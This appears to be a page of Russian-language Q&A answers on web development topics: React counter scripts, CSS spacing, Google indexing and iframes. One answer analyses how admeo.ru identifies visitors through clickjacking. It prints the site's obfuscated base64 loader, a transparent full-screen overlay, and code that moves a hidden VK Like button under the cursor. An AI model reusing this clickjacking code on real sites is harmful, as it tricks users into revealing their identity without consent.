• Как добавлять скрипты счетчиков на страницы React?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    1. Добавляем скрипт в html шаблон к которому крепится приложение.
    2. Инициализируем пустой массив в точке входа:
    window._rutarget = [];
    3. Пользуемся в любой части приложения:
    window._rutarget.push({ 'event': 'showOffer' });

    Можно написать свою обертку:
    window._rutarget = [];
    
    const AdService = {
      showOffer() {
        window._rutarget.push({'event': 'showOffer'});
      }, 
    };
    
    export default AdService;


    В React Native тэг script использовать не получится, можно разве попробовать использовать WebVIew.
    Ответ написан
    4 комментария
  • Как не стать недоспециалистом?

    zualex
    @zualex
    Senior Software Engineer
    Как мне не скатиться на своем пути до низкосортного разработчика, клепающего формочки

    Очень многое зависит от себя самого, читай книги, читай чужой код крутых разработчиков, каждый день старайся узнать что-то новое.
    Для того чтобы понять свой уровень, можно ходить на собеседования (очень мотивирует).
    Также я составил карту развития веб-разработчика, может что полезное найдешь. Удачи!
    Ответ написан
    Комментировать
  • Разный отступ между элементами локально в development и на боевом production Rails серверах. Почему?

    27cm
    @27cm
    TODO: Написать статус
    За счёт чего получаются отступы в dev среде, смотрели?
    Вариантов собственно не много: padding, margin, word-spacing, пробелы и прочие пробельные символы.

    Если за счёт padding / margin / word-spacing, то разбираться, почему они меняются на проде.
    Если за счёт пробелов между тегами ссылок, то разбираться, что режет пробелы на проде.

    Среди подозреваемых в первую очередь проверьте всякого рода минимизаторы, если такие используются, - их часто отключают в dev среде и включают только на проде.
    Ответ написан
    3 комментария
  • Как правильно добавить сайт в поиск Google?

    kopcap_va
    @kopcap_va
    SEO Consultant
    1. Заходите в Инструменты Google для вебмастера → Google Search Console;
    2. Добавляете сайт и подтверждаете доступы;
    3. Настраиваете необходимые параметры и указываете карту сайта (если имеется);
    4. С помощью инструмента "Сканирование" → "Просмотреть как Googlebot" можно просмотреть страницы и сразу же отправить их на индексацию.

    Дополнительная информация в справке Google и общие рекомендации.
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как вывести в div другой сайт?

    Petroveg
    @Petroveg
    Миром правят маленькие с#@&ки
    Либо загружать в iframe на этой странице (атрибут target у ссылки и атрибут name с тем же значением у iframe).
    Либо оставить ссылку такой, как она есть, и пусть документ, на который ведёт ссылка, откроется в этом же окне.
    Ответ написан
    Комментировать